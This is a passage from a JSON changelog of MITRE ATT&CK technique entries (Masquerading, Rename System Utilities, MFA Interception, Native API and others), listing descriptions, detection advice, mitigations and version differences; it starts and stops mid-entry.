"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-16 16:14:12.793000+00:00\", \"old_value\": \"2022-04-20 22:54:47.164000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_contributors'][0]\": {\"new_value\": \"Csaba Fitzl @theevilbit of Kandji\", \"old_value\": \"Csaba Fitzl @theevilbit of Offensive Security\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:38.511000+00:00", + "modified": "2024-10-16 20:10:38.450000+00:00", + "name": "Masquerading", + "description": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1036", + "external_id": "T1036" + }, + { + "source_name": "Twitter ItsReallyNick Masquerading Update", + "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.", + "url": "https://x.com/ItsReallyNick/status/1055321652777619457" + }, + { + "source_name": "Elastic Masquerade Ball", + "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.", + "url": "https://www.elastic.co/blog/how-hunt-masquerade-ball" + }, + { + "source_name": "LOLBAS Main Site", + "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.", + "url": "https://lolbas-project.github.io/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Oleg Kolesnikov, Securonix", + "Nick Carr, Mandiant", + "David Lu, Tripwire", + "Felipe Esp\u00f3sito, @Pr0teus", + "Elastic", + "Bartosz Jerzman", + "Menachem Goldstein" + ], + "x_mitre_data_sources": [ + "File: File Modification", + "Process: Process Metadata", + "Service: Service Creation", + "Service: Service Metadata", + "Process: Process Creation", + "Image: Image Metadata", + "Scheduled Job: Scheduled Job Metadata", + "User Account: User Account Creation", + "File: File Metadata", + "Scheduled Job: Scheduled Job Modification", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_defense_bypassed": [ + "Application Control" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nLook for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\"\\u202E\", \"[U+202E]\", and \"%E2%80%AE\u201d.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Containers" + ], + "x_mitre_version": "1.7", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-16 20:10:38.450000+00:00\", \"old_value\": \"2024-03-08 17:00:59.133000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.\", \"old_value\": \"Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://x.com/ItsReallyNick/status/1055321652777619457\", \"old_value\": \"https://twitter.com/ItsReallyNick/status/1055321652777619457\"}, \"root['x_mitre_contributors'][6]\": {\"new_value\": \"Menachem Goldstein\", \"old_value\": \"Goldstein Menachem\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][7]\": \"User Account: User Account Creation\"}}", + "previous_version": "1.7", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1022: Restrict File and Directory Permissions", + "M1038: Execution Prevention", + "M1040: Behavior Prevention on Endpoint", + "M1045: Code Signing", + "M1049: Antivirus/Antimalware" + ], + "new": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0003: Scheduled Job (Scheduled Job Metadata)", + "DS0003: Scheduled Job (Scheduled Job Modification)", + "DS0007: Image (Image Metadata)", + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Creation)", + "DS0019: Service (Service Metadata)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)" + ], + "new": [ + "DS0002: User Account (User Account Creation)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-10 20:43:10.239000+00:00", + "modified": "2024-09-12 19:30:45.064000+00:00", + "name": "Match Legitimate Name or Location", + "description": "Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.\n\nAdversaries may also use the same icon of the file they are trying to mimic.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1036/005", + "external_id": "T1036.005" + }, + { + "source_name": "Twitter ItsReallyNick Masquerading Update", + "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.", + "url": "https://x.com/ItsReallyNick/status/1055321652777619457" + }, + { + "source_name": "Docker Images", + "description": "Docker. (n.d.). Docker Images. Retrieved April 6, 2021.", + "url": "https://docs.docker.com/engine/reference/commandline/images/" + }, + { + "source_name": "Elastic Masquerade Ball", + "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.", + "url": "https://www.elastic.co/blog/how-hunt-masquerade-ball" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee" + ], + "x_mitre_data_sources": [ + "File: File Metadata", + "Image: Image Metadata", + "Process: Process Metadata", + "Process: Process Creation" + ], + "x_mitre_defense_bypassed": [ + "Application Control" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nIn containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Containers" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:30:45.064000+00:00\", \"old_value\": \"2023-09-14 21:12:48.409000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.\", \"old_value\": \"Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://x.com/ItsReallyNick/status/1055321652777619457\", \"old_value\": \"https://twitter.com/ItsReallyNick/status/1055321652777619457\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1038: Execution Prevention", + "M1045: Code Signing" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0007: Image (Image Metadata)", + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0022: File (File Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-10 20:03:11.691000+00:00", + "modified": "2024-09-12 19:30:45.065000+00:00", + "name": "Rename System Utilities", + "description": "Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1036/003", + "external_id": "T1036.003" + }, + { + "source_name": "Twitter ItsReallyNick Masquerading Update", + "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.", + "url": "https://x.com/ItsReallyNick/status/1055321652777619457" + }, + { + "source_name": "Elastic Masquerade Ball", + "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.", + "url": "https://www.elastic.co/blog/how-hunt-masquerade-ball" + }, + { + "source_name": "F-Secure CozyDuke", + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + }, + { + "source_name": "LOLBAS Main Site", + "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.", + "url": "https://lolbas-project.github.io/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "File: File Modification", + "Process: Process Metadata", + "Command: Command Execution", + "File: File Metadata" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:30:45.065000+00:00\", \"old_value\": \"2023-09-14 21:12:48.411000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.\", \"old_value\": \"Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://x.com/ItsReallyNick/status/1055321652777619457\", \"old_value\": \"https://twitter.com/ItsReallyNick/status/1055321652777619457\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Metadata)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-30 18:03:05.864000+00:00", + "modified": "2024-09-30 13:28:37.414000+00:00", + "name": "Modify Cloud Compute Infrastructure", + "description": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1578", + "external_id": "T1578" + }, + { + "source_name": "Mandiant M-Trends 2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Instance: Instance Metadata", + "Instance: Instance Stop", + "Snapshot: Snapshot Creation", + "Volume: Volume Modification", + "Instance: Instance Modification", + "Instance: Instance Creation", + "Volume: Volume Metadata", + "Instance: Instance Start", + "Cloud Service: Cloud Service Metadata", + "Volume: Volume Creation", + "Snapshot: Snapshot Modification", + "Snapshot: Snapshot Metadata", + "Volume: Volume Deletion", + "Snapshot: Snapshot Deletion", + "Instance: Instance Deletion" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-30 13:28:37.414000+00:00\", \"old_value\": \"2023-09-05 20:45:22.041000+00:00\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf\", \"old_value\": \"https://content.fireeye.com/m-trends/rpt-m-trends-2020\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0020: Snapshot (Snapshot Creation)", + "DS0020: Snapshot (Snapshot Deletion)", + "DS0020: Snapshot (Snapshot Metadata)", + "DS0020: Snapshot (Snapshot Modification)", + "DS0025: Cloud Service (Cloud Service Metadata)", + "DS0030: Instance (Instance Creation)", + "DS0030: Instance (Instance Deletion)", + "DS0030: Instance (Instance Metadata)", + "DS0030: Instance (Instance Modification)", + "DS0030: Instance (Instance Start)", + "DS0030: Instance (Instance Stop)", + "DS0034: Volume (Volume Creation)", + "DS0034: Volume (Volume Deletion)", + "DS0034: Volume (Volume Metadata)", + "DS0034: Volume (Volume Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:23.195000+00:00", + "modified": "2024-10-15 16:37:20.612000+00:00", + "name": "Multi-Factor Authentication Interception", + "description": "Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users\u2019 phones.(Citation: Okta Scatter Swine 2022)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1111", + "external_id": "T1111" + }, + { + "source_name": "GCN RSA June 2011", + "description": "Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved September 24, 2018.", + "url": "https://gcn.com/cybersecurity/2011/06/rsa-confirms-its-tokens-used-in-lockheed-hack/282818/" + }, + { + "source_name": "Mandiant M Trends 2011", + "description": "Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.", + "url": "https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf" + }, + { + "source_name": "Okta Scatter Swine 2022", + "description": "Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.", + "url": "https://sec.okta.com/scatterswine" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "John Lambert, Microsoft Threat Intelligence Center" + ], + "x_mitre_data_sources": [ + "Driver: Driver Load", + "Process: OS API Execution", + "Windows Registry: Windows Registry Key Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nSimilar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:37:20.612000+00:00\", \"old_value\": \"2023-04-14 23:26:24.262000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1017: User Training" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0027: Driver (Driver Load)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:17.472000+00:00", + "modified": "2024-09-12 15:25:57.058000+00:00", + "name": "Native API", + "description": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\n\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1106", + "external_id": "T1106" + }, + { + "source_name": "MACOS Cocoa", + "description": "Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.", + "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1" + }, + { + "source_name": "Apple Core Services", + "description": "Apple. (n.d.). Core Services. Retrieved June 25, 2020.", + "url": "https://developer.apple.com/documentation/coreservices" + }, + { + "source_name": "macOS Foundation", + "description": "Apple. (n.d.). Foundation. Retrieved July 1, 2020.", + "url": "https://developer.apple.com/documentation/foundation" + }, + { + "source_name": "OutFlank System Calls", + "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.", + "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/" + }, + { + "source_name": "Redops Syscalls", + "description": "Feichter, D. (2023, June 30). Direct Syscalls vs Indirect Syscalls. Retrieved September 27, 2023.", + "url": "https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls" + }, + { + "source_name": "GNU Fork", + "description": "Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.", + "url": "https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html" + }, + { + "source_name": "CyberBit System Calls", + "description": "Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021.", + "url": "https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/" + }, + { + "source_name": "GLIBC", + "description": "glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020.", + "url": "https://www.gnu.org/software/libc/" + }, + { + "source_name": "LIBC", + "description": "Kerrisk, M. (2016, December 12). libc(7) \u2014 Linux manual page. Retrieved June 25, 2020.", + "url": "https://man7.org/linux/man-pages//man7/libc.7.html" + }, + { + "source_name": "Linux Kernel API", + "description": "Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020.", + "url": "https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html" + }, + { + "source_name": "MDSec System Calls", + "description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.", + "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/" + }, + { + "source_name": "Microsoft CreateProcess", + "description": "Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa" + }, + { + "source_name": "Microsoft Win32", + "description": "Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.", + "url": "https://docs.microsoft.com/en-us/windows/win32/api/" + }, + { + "source_name": "Microsoft NET", + "description": "Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.", + "url": "https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework" + }, + { + "source_name": "NT API Windows", + "description": "The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020.", + "url": "https://undocumented.ntinternals.net/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Gordon Long, Box, Inc., @ethicalhax", + "Stefan Kanthak", + "Tristan Madani (Cybereason)" + ], + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Module: Module Load" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \n\nUtilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. ", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "2.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:25:57.058000+00:00\", \"old_value\": \"2023-10-13 16:01:07.538000+00:00\"}, \"root['external_references'][12]['description']\": {\"new_value\": \"Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.\", \"old_value\": \"Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.\"}, \"root['external_references'][12]['url']\": {\"new_value\": \"https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa\", \"old_value\": \"http://msdn.microsoft.com/en-us/library/ms682425\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0011: Module (Module Load)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": 